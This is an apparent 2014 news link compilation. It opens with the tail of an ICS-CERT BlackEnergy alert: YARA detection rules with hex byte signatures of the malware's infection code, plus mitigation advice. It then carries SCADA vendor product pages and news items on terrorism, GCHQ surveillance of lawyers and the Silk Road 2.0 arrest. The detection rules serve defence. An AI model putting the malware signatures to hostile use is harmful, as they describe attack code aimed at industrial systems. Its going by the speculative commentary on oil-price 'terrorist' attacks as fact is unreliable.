6E 00 64 00 6F 00 77 00 73 00 AE 00 20 00 4F 00 70 00 65 00 72 00 61 00 74 00 69 00 6E 00 67 00 20 00 53 00 79 00 73 00 74 00 65 00 6D 00 00 00 00 00 40 00 0E 00 01 00 50 00 72 00 6F 00 64 00 75 00 63 00 74 00 56 00 65 00 72 00 73 00 69 00 6F 00 6E 00 00 00 35 00 2E 00 31 00 2E 00 32 00 36 00 30 00 30 00 2E 00 35 00 35 00 31 00 32 00 00 00 44 00 00 00 01 00 56 00 61 00 72 00 46 00 69 00 6C 00 65 00 49 00 6E 00 66 00 6F 00 00 00 00 00 24 00 04 00 00 00 54 00 72 00 61 00 6E 00 73 00 6C 00 61 00 74 00 69 00 6F 00 6E 00 00 00 00 00 09 04 E4 04}
condition:
(uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and (((any of ($a*)) and (uint32(uint32(0x3C)+8) == 0x00000000)) or (for any of ($b*): ($ in (uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))..(uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+20))+uint32(uint32(0x3C)+248+(40*(uint16(uint32(0x3C)+6)-1)+16)))))))
}
rule ICS_ALERT_14_281_01AP_BlackEnergy_USBInfected
//ICS-CERT rule to detect .exe's infected by BlackEnergy JN plug-in
{
strings:
$f1 = {5E 81 EC 04 01 00 00 8B D4 68 04 01 00 00 52 6A 00 FF 57 1C 8B D4 33 C9 03 D0 4A 41 3B C8 74 05 80 3A 5C 75 F5 42 81 EC 04 01 00 00 8B DC 52 51 53 68 04 01 00 00 FF 57 20 59 5A 66 C7 04 03 5C 20 56 57 8D 3C 03 8B F2 F3 A4 C6 07 00 5F 5E 33 C0 50 68 80 00 00 00 6A 02 50 50 68 00 00 00 40 53 FF 57 14 53 8B 4F 4C 8B D6 33 DB 30 1A 42 43 3B D9 7C F8 5B 83 EC 04 8B D4 50 6A 00 52 FF 77 4C 8B D6 52 50 FF 57 24 FF 57 18}
$f2 = {5E 83 EC 1C 8B 45 08 8B 4D 08 03 48 3C 89 4D E4 89 75 EC 8B 45 08 2B 45 10 89 45 E8 33 C0 89 45 F4 8B 55 0C 3B 55 F4 0F 86 98 00 00 00 8B 45 EC 8B 4D F4 03 48 04 89 4D F4 8B 55 EC 8B 42 04 83 E8 08 D1 E8 89 45 F8 8B 4D EC 83 C1 08 89 4D FC}
$f3 = {5F 8B DF 83 C3 60 2B 5F 54 89 5C 24 20 8B 44 24 24 25 00 00 FF FF 66 8B 18 66 81 FB 4D 5A 74 07 2D 00 00 01 00 EB EF 8B 48 3C 03 C8 66 8B 19 66 81 FB 50 45 75 E0 8B E8 8B F7 83 EC 60 8B FC B9 60 00 00 00 F3 A4 83 EF 60 6A 0D 59 E8 88 00 00 00 E2 F9 68 6C 33 32 00 68 73 68 65 6C 54 FF 57}
$a1 = {83 EC 04 60 E9 1E 01 00 00}
condition:
$a1 at entrypoint or any of ($f*)
}
MITIGATIONS
ICS-CERT has published a TLP Amber version of this alert containing additional information about the malware, plug-ins, and indicators to the secure portal. ICS-CERT strongly encourages asset owners and operators to use these indicators to look for signs of compromise within their control systems environments. Asset owners and operators can request access to this information by emailing ics-cert@dhs.gov.
Any positive or suspected findings should be immediately reported to ICS-CERT for further analysis and correlation.
ICS-CERT strongly encourages taking immediate defensive action to secure ICS systems using defense-in-depth principles. Asset owners should not assume that their control systems are deployed securely or that they are not operating with an Internet accessible configuration. Instead, asset owners should thoroughly audit their networks for Internet facing devices, weak authentication methods, and component vulnerabilities. Control systems often have Internet accessible devices installed without the owner's knowledge, putting those systems at increased risk of attack.
ICS-CERT recommends that users take defensive measures to minimize the risk of exploitation due to this unsecure device configuration of these vulnerabilities. Specifically, users should:
Minimize network exposure for all control system devices. Control system devices should not directly face the Internet.Locate control system networks and devices behind firewalls, and isolate them from the business network.If remote access is required, employ secure methods, such as Virtual Private Networks (VPNs), recognizing that VPN is only as secure as the connected devices.Remove, disable, or rename any default system accounts wherever possible.Apply patches in the ICS environment, when possible to mitigate known vulnerabilities.Implement policies requiring the use of strong passwords.Monitor the creation of administrator level accounts by third-party vendors.ICS-CERT reminds organizations to perform proper impact analysis and risk assessment prior to taking defensive measures.
ICS-CERT also provides a recommended practices section for control systems on the ICS-CERT web site (http://ics-cert.us-cert.gov). Several recommended practices are available for reading or download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.
Organizations that observe any suspected malicious activity should follow their established internal procedures and report their findings to ICS-CERT for tracking and correlation against other incidents.
Email: ics-cert@hq.dhs.govToll Free: 1-877-776-7585International Callers: (208) 526-0900
ICS-CERT continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.
SIMATIC WinCC Open Architecture - HMI Software - Siemens
Sun, 09 Nov 2014 04:45
SIMATIC WinCC Open Architecture is a SCADA system for visualizing and operating of processes, production flows, machines and plants in all lines of business. Distributed systems enable any number of stand-alone systems, from 2 to 2048, to be linked via a network.Each subsystem can be configured either as a single-user or multi-user system, redundant or not, in each case. SIMATIC WinCC Open Architecture relies consistently on object orientation for process images and the database structure.
Advantech Webaccess Browser-based HMI / SCADA Software
Sun, 09 Nov 2014 04:44
HomeIntroductionVertical SolutionsTechnical SupportTrainingDownloadsSecurity UpdateContact usAdvantech WebAccess V8.0Trial Software Advantech WebAccess V7.2SoftwareYou are here: Advantech WebAccess / Product / WebAccess Browser-based HMI/SCADA Software Product ::: Advantech WebAccess Browser-based HMI / SCADA SoftwareDatasheetProduct PagePress ReleaseBuy OnlineAdvantech WebAccess is a browser-based software package for human-machine interfaces HMI, and supervisory control and data acquisition SCADA. It is used to automate complex industrial processes for situations where remote operations are needed. All the features found in conventional HMI and SCADA software packages are available in an ordinary browser including Animated Graphics Displays, Real-time Data Control, Trends, Alarms and Logs.Advantech WebAccess provides the following benefits :Integrated with Internet technology, Advantech WebAccess allows users to remotely engineer and control automation equipment and systems through an ordinary Web Browser.Provides a modularized system that allows users to expand based on project needs.The database structure, which resembles that of a DCS, enables database parameters and displays templates to reduce engineering time.Features a vector-based graphic builder that enables the fast creation of displays with sophisticated animation capabilities and smaller file sizes for faster downloads. It can also allow imports of bitmaps JPEG, GIF, Bmp, DIB and vector-based DXF files from AutoCAD. Graphics that provide details from a plant-wide overview to individual control loops can be generated minimal effort a built-in, drilled-down, and displayed architecture.Integrates enterprise databases via real-time ODBC data conversion including Microsoft Access standard and relational databases including Microsoft SQL Server, Oracle and MySQL.Built-in scheduled report module - no add-on option is required.Provides development tools at no additional cost. Just need an Internet Information Server installed on your laptop or PC.
Proficy HMI/SCADA - CIMPLICITY - GE Intelligent Platforms | GE Intelligent Platforms
Sun, 09 Nov 2014 04:44
Innovation That Drives Results
CIMPLICITY is a client/server based visualization and control solution that helps you visualize your operations, perform supervisory automation and deliver reliable information to higher-level analytic applications. With CIMPLICITY, operators and engineers have the power and security to precisely monitor and control every aspect of their environment, equipment and resources. The results: faster responsiveness, reduced costs and increased profitability.
To find out more, receive a free demo or to review your application with a Proficy expert contact your local GE Intelligent Platforms software representative for more information.
Now Available - CIMPLICITY 9.0!Click here to learn more.
CIMPLICITY allows your operators and management team to make more informed decisions with its real-time visibility technology along with actually making the change through its proven and robust control engine. The whole team can manage certain parts of a factory, a whole plant or globally '' from any location! CIMPLICITY also provides a powerful Digital Graphic Replay (DGR) 2.2 add-on recorder which lets your team go back in time and graphically analyze events that occurred in the past. CIMPLICITY delivers great value with a focus on ease of use for the manufacturing and process domains.
Why CIMPLICITY?
CIMPLICITY is a proven scalable solution for any environmentThe Digital Graphical Replay add-on feature provides the ability to replay historical events and troubleshoot fasterWide variety of options including SPCLong history of providing enabling tools to upgrade legacy apps (even from unix).NET scripting support that supports VB.net and C# and the ability to run side by side existing Basic scriptsSupport for 100's of servers in the architectureForeground and background task capabilityWide variety of native driversProficy Tracker integrationHistorian Integration with support for historian expressions in scripts and animationsZero Configuration full functionality Web ViewerCIMPLICITY delivers:
Powerful full featured client interfacesCapability to extend system easlilyAPI access for specific behaviorIntegratation with ERP and other external systemsPowerful Visual basic style languageAbility to use existing IT infrastructureAbility Map domain users to roles and resources in CIMPLICITYReduced Administration through innovative featuresNative drivers and OPC device connectivityAccessories:
Webspace* AlarmCastMarquee ManagerChange Approval (eSignature)Statisical Process Control (SPC)Digital Graphic Replay (DGR) 2.2I/O DriversRecipe OptionSystem SentrySmartEyeTerminal ServicesWebViewThinView CEPagerAction CalenderCluster SupportIntegrators ToolkitNote: With CIMPLICITY Version 9.0, GlobalView transitioned to Webspace. When upgrading to Version 9.0, simply install Webspace instead of GlobalView, and your functionality will be maintained. The licensed GlobalView clients will be transitioned to Webspace clients without any loss of functionality or client counts.
What's New in Version 9.0? Click here to download the Version 9.0 Datasheet!
Proficy HMI/SCADA '' CIMPLICITY Version 9.0 brings a set of new capabilities that enable you to develop better applications, improve your operators' experience, extend the reach of existing systems, and take advantage of the latest OS and interoperability technologies. Some of the exciting key new features in Version 9.0 are:
Improved configuration capabilities reduce time to value through richer contextStructured data enables Real-time Operational Intelligence (RtOI)Better interaction with new, richer protocolsImproved operator experience and reduced alarm noiseEnhanced collaboration between operators and quality teams on process anomalies with SPC annotations and XY plot enhancementsNew OS support minimizes risk of obsolescenceNew object library for a richer user experienceLong point names allow 256 characters for building a structured database quickly.NET/WPF support in CIMPLICITY ViewerNew Unified Webspace for your choice of clients '' iPad®, Android' and browsersProficy Historian for SCADA included '' a unified trending engineWhat's New in Version 8.2?
New Navigation Configuration tool with bar, tree or tab style user interfacesNew CIMLayout tool to setup multiple screens within a display with independent load and update cycles.New AlarmCast option for notification to a variety of devices including mobile phones, blackberry's, PDA's and fixed data receiversNew Marquee Manager for displaying data on a variety of Andon boards.NET scripting support that supports VB.net and C# (note: ability to run side by side existing scripts)SCADA publishing to SOA to trigger Proficy WorkflowsHistorian Expressions within scripts and animations to enable operators to have analytical information on demandAlarm Change Approval (esignature)Multi Session Digital Graphic Replay Support, High Speed Reflective Memory Driver & more!Windows 7 & Server 2008 R2 64bit WoW support
TypeTitleDatasheetCIMPLICITY with Proficy Change ManagementDatasheetProficy HMI/SCADA-CIMPLICITY 7.5Version 7.5 offers more diagnostic tools, security, development tools, connectivity and flexibility than ever before.DatasheetProficy HMI/SCADA-CIMPLICITY 8.0Proficy HMI/SCADA-CIMPLICITY 8.0 What's New data sheetDatasheetSequence of Events (SOE) Solutions for PACSystemsHelping you capture event data for quicker time to solutionBrochuresCIMPLICITY & HistorianAn integrated view of your operations A collaborative approach enables you to share real-time information at all levels of the enterprise'--accelerating efficiency and effectiveness for a sustainable competitive advantage. 16 - PagesBrochuresMission Critical Power & Cooling SolutionsProtect against lost productivity and profitability - 8 PagesBrochuresThe Smart Grid for Smaller UtilitiesLocal utilities play a critical role in modernizing today's grid infrastructure, and GE offers some key considerations for optimized Smart Grid planning.White PapersDefining the Smart GridOptimize your Smart Grid planning with a holistic and integrated approach that encompasses Smart Grid functionalities critical for grid optimization and financial sustainability.White PapersIntelligent Control Room Management for Oil & Gas Pipeline SafetyUtilizing Electronic Standard Operating Procedures (eSOPs) to comply with regulatory mandates such as RIN 2137''AE28 Pipeline Safety, drive good business practices globally, and capture and proliferate expert knowledge and proven proceduresWhite PapersMeeting NERC Change Control Requirements for HMI/SCADAMeeting NERC requirements for HMI/SCADAWhite PapersSoftware Solutions Help Water, Wastewater Operations Hit Moving Environmental Compliance TargetsAs drinking water standards and effluent discharge regulations get increasingly stringent, water-centric utilities are optimizing processes and recordkeeping with industry-specific software solutions.White PapersThe Changing Role of the OperatorEngaging and Supporting the Operator of Today Into the Future With Advanced Software CapabilitiesWhite PapersUnderstanding and Minimizing Your HMI/SCADA System Security GapsUnderstanding and minimizing the security gaps in your HMI/SCADA system can be a challenge due to complex, multi-layered technologies.Customer StoriesBlaser Swisslube AGManufacturing, filling and storing cooling lubricant with skill and precision: Process visualization saves money and protects the environment.Customer StoriesFormellino Wastewater TreatmentWith PACSystems and CIMPLICITY, Formellino Wastewater facility optimizes process efficiency, improves its water purification process and water quality, and attains measurable results, including a 30% energy savings.Customer StoriesFormellino Wastewater Treatment-ItalianWith PACSystems and CIMPLICITY, Formellino Wastewater facility optimizes process efficiency, improves its water purification process and water quality, and attains measurable results, including a 30% energy savings.Customer StoriesGreat Northern PaperEthernet networking brings monitor and control system to hydroelectric stationsCustomer StoriesInnovative Energy SystemsCustomer StoriesPfizer NewbridgePfizer Newbridge created outstanding business value by moving away from islands of automation using an integrated automation strategy from GECustomer StoriesRemote Oilfield Control and SafetySolution Spotlight: Wellhead ControlCustomer StoriesShanghai GMShanghai GM Taps GE, CIMPLICITY to Drive Turnkey Automation Solution at New PlantCustomer StoriesToll BrothersToll Brothers Builds on the Flexibility of PROFICY* HMI/SCADA '' CIMPLICITY* to Meet the Needs of Today's Housing MarketCustomer StoriesVari-Kool ManufacturingCalifornia firm manufactures energy efficient refrigeration systems utilizing proven technology from GE Intelligent PlatformsTrainingProficy CIMPLICITY AdvancedTrainingProficy CIMPLICITY FundamentalsTrainingProficy CIMPLICITY Introduction (v6.1)TrainingProficy CIMPLICITY ScriptingFor Technical Support please visit : support.ge-ip.com.
Or you can also contact GE Intelligent Platforms directly by using one of the following options:
Submit a support case online at: eservice.ge-ip.comNote: GlobalCare Contract required to submit a support case online for GE Intelligent Platforms Software Products.
AmericasOnline: eservice.ge-ip.comPhone: 1-800-433-2682Email: support.ip@ge.comPrimary language of support: EnglishEurope, Middle-East, & AfricaOnline: eservice.ge-ip.comPhone: +800-1-433-2682 +1 780 401 7717 (if the toll free 800 option is unavailable in your country or dialing from a mobile telephone)Email: support.emea.ip@ge.comPrimary languages of support: English, French, German, Italian, CzechAsia PacificOnline: eservice.ge-ip.comPhone: +86-400-820-8208 +86-21-3217-4826 (India, Indonesia & Pakistan)Email: support.cn.ip@ge.com (China) support.jp.ip@ge.com (Japan) support.in.ip@ge.com (Rest of Asia)
Caliphate!
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Queen Elizabeth II was the target of a terrorist plot: report
Sat, 08 Nov 2014 23:02
Alleged target: Queen Elizabeth II. Photo: Reuters
A report Queen Elizabeth II was targeted by radical Muslims on Saturday underscored the threat facing Britain, the US and their allies as they seek to blunt Islamic State's advance in the Middle East.
Four men arrested yesterday in Britain planned a knife attack on the UK monarch, The Sun said today without attribution. London's Metropolitan Police Service earlier said the four were involved in preparation of terrorist acts. Homes and vehicles are being searched as part of the investigation.
Yesterday's arrests and searches in London are part of a continuing investigation into Islamic-related terrorism, police said. The operation followed the arrests on October 8 and September 25 of 13 men on suspicion of a range of terrorism offenses.
The first six months of the year saw a total of 69 terror-related arrests, with the biggest growth in offenses connected to Syria occurring in London, the MPS said in August.
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Police in New York City are expanding Internet and social media monitoring to identify young people attracted to extremist online movements, Commissioner William Bratton said two days ago.
Last month 32-year-old Zale Thompson, described by police as a "self-radicalized convert to Islam," was shot and killed after allegedly attacking four NYPD police officers with a hatchet. That came one day after a Canadian solider was murdered in Ottawa by a man also described by authorities as a radicalized follower of Islam.
The UK in August raised its terror threat to "severe," the second-highest level, due to new intelligence, with Prime Minister David Cameron saying the battle against Islamic extremism is a "generational struggle" that will probably last decades.
Bloomberg
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'IS-leider gewond door luchtaanval' | Islamitische Staat | de Volkskrant
Sun, 09 Nov 2014 02:59
Abu Bakr al-Baghdadi, de leider van de terreurgroep Islamitische Staat (IS), is vandaag ernstig gewond geraakt door een luchtaanval van de door de Amerikanen geleide coalitie op de Iraakse stad al-Qaim. Dat hebben bronnen bij Iraakse stammen in het gebied gezegd tegen de Arabische zender al-Arabiya.
Bewerkt door: Redactie 8 november 2014, 22:27 Bron: ANPVolgens de bronnen bij de stammen zijn door de luchtactie bij al-Qaim in het westen van Irak tientallen mensen zijn gedood. Onder hen zouden enkele kopstukken van IS zijn.
Een woordvoerder van het Amerikaanse leger bevestigde tegen het Britse persbureau Reuters dat een konvooi met voertuigen van IS vanuit de lucht is bestookt. Maar hij zei dat de aanval in de buurt van de noordelijke stad Mosul is uitgevoerd. Die stad ligt op enkele honderden kilometers afstand van al-Qaim. Volgens de legerwoordvoerder bestond het bij Mosul bestookte konvooi vermoedelijk uit tien gepantserde voertuigen van IS. Leiders van de terreurgroep zouden in dat konvooi hebben meegereden.
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Is Butte now a terrorist target?
Sat, 08 Nov 2014 23:55
BUTTE '-- Butte, America, versus ISIS.
Some welcome the confrontation. Others fear it. Either way, the Mining City is abuzz with the news of hometown boy Rob O'Neill being the man who took down Osama bin Laden.
Many folks in town have voiced concern that the outing not only puts O'Neill and his family in danger but also his beloved Butte. Added to that worry is a statement by his father, Tom, printed in the article that broke the news this week: ''People are asking if we are worried that ISIS will come and get us because Rob is going public. I say I'll paint a big target on my front door and say come and get us.''
Is the threat real?
''I don't wouldn't say it's high on the list even though those things have been commented on,'' said Dan Dennehy, director of emergency management for Butte-Silver Bow.
The most recent Hazard Mitigation Plan by the county says no. Well, probably not.
''Due to the lack of past events in Butte-Silver Bow, the probability of future terrorism attacks is rated as 'infrequent,''' according to the plan, published in 2010.
''Although unlikely, Butte-Silver Bow could experience an international or domestic terrorist attack. Bombings, snipers, release of radiological materials, chemical attacks and bio-terrorism are all possible,'' the plan follows.
Dennehy said he is more concerned with earthquakes or long cold snaps. Another plan will be drawn up next year.
''Those things are known. Not terrorism based on a hero's actions while he was doing his duty to protect this country,'' he added.
''I don't think ISIS will be looking at Butte, Mont., for retribution.''
While some of his neighbors thought the father's comment seemed brash, they weren't concerned about terrorist groups swooping down on the neighborhood.
''I'm not concerned about it,'' said one elderly neighbor. ''I'm not afraid they're going to come after us.''
Butte-Silver Bow Sheriff Ed Lester said he has been contacted by Butte residents worried the outing of O'Neill as the shooter will mark a target on the Mining City.
''I have heard some concerns for the community. I think it is something we have to consider,'' Lester said.
''I certainly wouldn't talk about any extra security measures, but we are monitoring the situation and we will see how the story unfolds.''
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Saudi Arabia Foils ISIS Terrorist Attack, Arrests 33 | Zero Hedge
Sat, 08 Nov 2014 23:04
Two days ago we quoted an ex-CIA officer who warned that the "Saudis Have Good Reason To Be Concerned" as a result of what appears to be a redirection of ISIS tactics, and attacks, toward the one country which has, at least for public consumption purposes, been - together with the US - at the forefront of the anti-ISIS campaign in the middle east.
Recall that according to Bloomberg, a Saudi citizen suspected of organizing the attack on Shiite worshipers in the oil-rich Eastern Province returned from fighting in Iraq and Syria, according to Saudi-owned newspapers. Or, as suggested, ISIS has arrived in the world's largest oil exporter. The citizen organized a cell that carried out the attack that killed seven people in the Shiite village of al-Dalwah after sneaking across the border into the kingdom.
This would be the first time that a Saudi returning from the latest conflicts in Iraq and Syria attacked targets in the world's largest oil exporter, raising concern that sectarian violence may escalate.
End result: a crackdown by the Saudis to prevent any future attacks by alleged Jihadists, and as Al-Arabiya reported earlier,overnight authorities in Saudi Arabia arrested 33 people with reported links to the al-Ahsa killings, disrupting plans of another attack by the same cell, Al Arabiya News Channel reported.
The suspects were reportedly convicted of terrorism-related charges in the Kingdom prior to the incident and had been planning an attack targeting security, govern facilities and public figures, according to sources cited by Al Arabiya.
One does wonder then if the Saudis lied when they downplayed the previously reported explosion in a pipeline south of Riyadh, near the town of Sudair, instead blaming it on repairs just to make it seem that terrorism is fully contained in the kingdom.
Masked gunmen attacked a group earlier this week as they prepared to commemorate the Day of Ashoura, fatally shooting five people and wounding nine others, a plot sources told the news channel was aimed to create chaos in different parts of the Kingdom.
The operation to identify and apprehend those connected to the killings is ongoing, Al Arabiya News Channel reported.
As commented before, a peculiar dynamic has emerged in recent weeks whereby as a result of Saudi's aggressive OPEC non-compliance strategy, the oil-rich nation has promptly become the least favored nation for virtually all oil exporting nations, which as repeatedly discussed in the past two weeks, have seen their currencies crash as a result of Saudi crude dumping, which has sent the price of Brent plunging and taking the various currencies of oil exporters with it. Which is why a few days ago we said that "perhaps one of the numerous oil exporting nations whose economies are getting crushed due to Saudi oil-price suppression tactics, will suddenly realize that the enemy of my enemy is my friend. And the last thing the US wants is to deal with an ISIS threat that has the behind the curtain support of some of the biggest global producers of oil."
We would not be surprised if the price of oil were to suddenly snap back much higher following one or more "terrorist" attacks on the oil infrastructure in Saudi Arabia were to leak to the outside world in the coming days.
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SnowJob
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British Spies Are Free to Target Lawyers and Journalists - The Intercept
Sun, 09 Nov 2014 02:21
British spies have been granted the authority to secretly eavesdrop on legally privileged attorney-client communications, according to newly released documents.
On Thursday, a series of previously classified policies confirmed for the first time that the U.K.'s top surveillance agency Government Communications Headquarters (pictured above) has advised its employees: ''You may in principle target the communications of lawyers.''
The U.K.'s other major security and intelligence agencies'--MI5 and MI6'--have adopted similar policies, the documents show. The guidelines also appear to permit surveillance of journalists and others deemed to work in ''sensitive professions'' handling confidential information.
The documents were made public as a result of a legal case brought against the British government by Libyan families who allege that they were subjected to extraordinary rendition and torture in a joint British-American operation that took place in 2004. After revelations about mass surveillance from National Security Agency whistleblower Edward Snowden last year, the families launched another case alleging that their communications with lawyers at human rights group Reprieve may have been spied on by the government, hindering their ability to receive a fair trial.
In a statement on Thursday, Reprieve's legal director Cori Crider said that the new disclosures raised ''troubling implications for the whole British justice system'' and questioned how frequently the government had used its spy powers for unfair advantage in court.
''It's now clear the intelligence agencies have been eavesdropping on lawyer-client conversations for years,'' Crider said. ''Today's question is not whether, but how much, they have rigged the game in their favor in the ongoing court case over torture.''
Rachel Logan, a legal adviser at rights group Amnesty International, said that spying on lawyers affords the U.K. government an ''unfair advantage akin to playing poker in a hall of mirrors.''
''It could mean, amazingly, that the government uses information they have got from snooping on you, against you, in a case you have brought,'' Logan said. ''This clearly violates an age-old principle of English law set down in the 16th century'--that the correspondence between a person and their lawyer is confidential.''
In the U.S., the NSA has also been caughtspying on lawyers. Earlier this year, the agency was forced to reassure attorneys that it ''will continue to afford appropriate protection to privileged attorney-client communications acquired during its lawful foreign intelligence mission in accordance with privacy procedures required by Congress, approved by the Attorney General, and, as appropriate, reviewed by the Foreign Intelligence Surveillance Court.''
In the U.K., the oversight of intelligence agencies is undoubtedly far more lax.
According to the documents released Thursday, in at least one case legally privileged material that was covertly intercepted by a British agency may have been used to the government's advantage in legal cases. One passage notes that security service MI5 identified an instance in which there was potential for ''tainting'' a legal case after secretly intercepted privileged material apparently ended up in the hands of its lawyers.
The policies state that the targeting of lawyers ''must give careful consideration to necessity and proportionality,'' but the GCHQ policy document adds that each individual analyst working at the agency is ''responsible for the legality'' of their targeting, suggesting that a large degree of personal judgement is involved in the process. Notably, there is no judicial oversight of eavesdropping conducted by GCHQ or other British security agencies; their surveillance operations are signed off by a senior politician in government, usually the Foreign or Home Secretary.
The categories that allow the agencies to spy on lawyers or others working with ''confidential'' material, such as journalists, are extremely broad. One policy document from GCHQ notes:
If you wish the target the communications of a lawyer or other legal professional or other communications that are likely to result in the interception of confidential information you must:
Have reasonable grounds to believe that they are participating in or planning activity that is against the interests of national security, the economic well-being of the UK or which in itself constitutes a serious crime.
In practice, this could mean that any lawyer or an investigative journalist working on a case or story involving state secrets could be targeted on the basis that they are perceived to be working against the vaguely defined national security interests of the government. Any journalists or lawyers working on the Snowden leaks, for instance, are a prime example of potential targets under this rationale. The U.K. government has already accused anyone working to publish stories based on the Snowden documents of being engaged in terrorism'--and could feasibly use this as justification to spy on their correspondence.
GCHQ declined to comment for this post, referring a request from The Intercept to the government's Home Office. A Home Office spokesperson said: ''We do not comment on ongoing legal proceedings.''
Photo: Barry Batchelor/AP
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SpaceX Employee Busted by FBI for Running a Silk Road Drug Market
Fri, 07 Nov 2014 07:47
The FBI announced today that a startup founder and former SpaceX employee was arrested in San Francisco for allegedly operating Silk Road 2.0. According to the FBI, Blake Benthall's online drug bazaar was netting millions of dollars worth of bitcoin every month while he simultaneously worked at SpaceX.
Elon Musk's space exploration startup told Business Insider that Benthall was a SpaceX employee while he began operating Silk Road 2.0.KQED Newsreports that Benthall is facing a lengthy prison term for his alleged involvement in the dark web drug trafficking operation:
Blake Benthall, who resides on Florida Street, was arrested Wednesday, the FBI said. U.S. In New York, U.S. Attorney Preet Bharara said Benthall is being charged with conspiring to commit narcotics trafficking by starting the "Silk Road 2.0'" website about five weeks after the government shut down the original version last year. He has also been charged with conspiring to commit computer hacking, conspiring to traffic in fraudulent identification documents, and engaging in a money laundering conspiracy. The various charges carry sentences from 10 years in prison to life.
The criminal complaint, which was unsealed today, says the online market was generating sales around $8 million per month.
Benthall didn't make FBI work very hard. According to the complaint, Benthall allegedly registered the server he hosted Silk Road 2.0 on with his own email address.
Benthall also retweeted a post about the relaunch of Silk Road on the very day it went online:
Benthall has had a long history working for startups and has an extensive background with Python, Ruby, and jQuery. On Facebook, Benthall identifies himself as a software engineer for SpaceX. A SpaceX spokesperson tells Valleywag Benthall parted ways with the company this past February.
Prior to SpaceX, Benthall worked with Carbon Five, a top-level startup consultancy that has worked with Square, Taskrabbit, and Walt Disney. A Carbon Five spokesperson tells Valleywag that Benthall had left the company before he began running Silk Road 2.0:
Blake is not currently an employee of Carbon Five. He was a contract employee with Carbon Five from December 2012 - March 2013. According to the dates that have been reported in the news, his employment with us does not overlap with the time that the Silk Road 2.0 web site was operational.
Carbon Five had nothing to do with Silk Road or anything that Blake allegedly worked on outside of Carbon Five projects.
On AngelList, Benthall also claims to be the technical co-founder of a startup called Late Labs. On Late Labs' website, the company claims it was "relaunching" in the summer of 2014.
Forbes's Ryan Mac also reports Benthall was actively running a tech incubator out of his apartment.
Benthall allegedly used the profits from his short-lived startup drug life to live large. According to the complaint, he used $70,000 worth of his bitcoin to buy a Tesla.
His alleged involvement in Silk Road 2.0 operation seems like a sharp departure from who Benthall was three short years ago. On Reddit, Benthall was downvoted for telling the site's users "You don't need drugs":
Maybe he should have listened to his own advice?
This is a breaking news post and we will update as we learn more.
Tocontactthe author of this post, please emailkevin@valleywag.com.
Photo: Blake Benthall/GitHub
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Dark Web' drug site challenge law enforcement
Sun, 09 Nov 2014 00:39
By PAUL ELIAS and TOBY STERLINGPublished: YesterdaySAN FRANCISCO (AP) - No sooner had authorities announced the shuttering of an alleged illegal online drug bazaar than another popped up claiming to take its place.
Welcome to the "dark Web," an increasingly popular corner of the Internet where thousands of computer users from around the globe interact anonymously - and, in many cases, illegally.
On Thursday, the U.S. Department of Justice charged a 26-year-old San Francisco man with operating Silk Road 2.0, an anonymous website that authorities say rang up $8 million in monthly drug sales.
On Friday, an underground website calling itself Silk Road 3.0 Reloaded claimed to be open for business on the TOR network, which is linked globally through special browsers that encrypt Internet traffic. Several other websites on the TOR network also claimed to be open for drug transactions.
The dark Web poses new and formidable challenges for law enforcement agencies around the world that have been dealing for decades with more conventional international drug trafficking. The reach and anonymity of these 21st century Internet operations is difficult to penetrate. Silk Road and copycats on the TOR network are not readily visible through popular Internet search sites. The buyers and sellers don't exchange cash, dealing instead in often untraceable digital currencies, usually Bitcoin. So there are no banking records for investigators to subpoena.
"As long as the dark Web exists, there will always be people who set up places to engage in wrongdoing," said Joseph DeMarco, a defense attorney and former federal prosecutor who headed the computer crimes section of the U.S. attorney's office in New York. DeMarco said he was skeptical that a single "global solution" would be found to stop illegal activity on the TOR network.
"There will always be an arms race between the bad guys and law enforcement," DeMarco said.
Those who created and support the TOR network say it's a way to protect online users' privacy in the digital age. TOR boasts that none of its websites will appear in Google search.
"TOR was created to protect people's privacy and anonymity, and we don't condone its use for these illegal activities," said Roger Dingledine, who co-created the TOR network originally for the U.S. Navy.
But investigators around the globe say the network is also a place of flagrant and profligate illegal activity of all sorts - from prostitution to arms trafficking - and they vow to crack down.
"Underground websites such as Silk Road and Silk Road 2.0 are like the Wild West of the Internet, where criminals can anonymously buy and sell all things illegal," said Homeland Security Investigations Executive Associate Director Peter Edge.
The day after the FBI announced it had arrested Blake Benthall in San Francisco, European authorities said they arrested 16 other people in Ireland and Germany as part of the crackdown on dark Web sites.
"They believed that they could not be touched. We've proven that is not right," said Troels Oerting, head of the European police agency's cybercrimes division. "Expect to see more of these operations in the future.
Oerting expects more than 55 websites will be shut down.
In addition to the Silk Road site, authorities say they have seized or shut down other virtual marketplaces with names such as Hydra, Cloud Nine, Pandora and Blue Sky. Police in Europe seized $1 million in digital currency and $225,000 worth of cash, drugs, gold and silver.
The FBI said it seized $100,000 in cash from Benthall's San Francisco apartment and allege that he earned $400,000 in monthly commissions on $8 million in monthly sales.
Benthall, who has worked as a computer software engineer, was in federal custody in San Francisco awaiting U.S. marshal transportation to New York to face felony charges of conspiracy to traffic in controlled substances, computer hacking, conspiracy to traffic in fraudulent identifications and money laundering. Benthall has not entered a plea.
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Toby Sterling reported from Amsterdam.
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Space Fakes
Statement from Virgin Galactic
Sat, 08 Nov 2014 22:59
07.11.14To our friends and family all around the world,
Today marks one week since the tragic accident on SpaceShipTwo's fourth rocket-powered test flight. The number of messages that have flowed in to us from all around the world expressing sympathies and condolences have been truly, truly helpful. Our team still hurts as we mourn the passing of a dear friend and the injury to another. Many have expressed a desire to help the families; one fund has been established here. There is another hole in our hearts that was once filled by the vehicle itself: Enterprise, the first SpaceShipTwo. We have worked with and flown on Enterprise for four years, and were so eager to see her reach her natural element of outer space in the next few months.
But your messages of support have lifted our spirits.
Not only have you comforted us in a time of loss, you have told us to take courage, and to continue pressing forward with resolve. You have told us that you also believe that the space frontier must be opened, just as we do. For that, we thank you.
And we want to share with you our story, as we move forward. The lessons of October 31st will be learned, and our system and our team will be made stronger for it. The second SpaceShipTwo is already two-thirds complete, and our team are pouring themselves into that project with heightened resolve. Our will is indefatigable, and our team is determined.
In the near future, we'll replace this temporary webpage with a more thorough site designed to help you understand who we are, what we are doing, and why . On that site, we'll share with you the story of the construction and testing of the second SpaceShipTwo, the story of the ongoing development of our LauncherOne small satellite vehicle, and more.
For now, though, I leave you with this message of sincere thanks and resolve.
Ad Astra,
George T. Whitesides
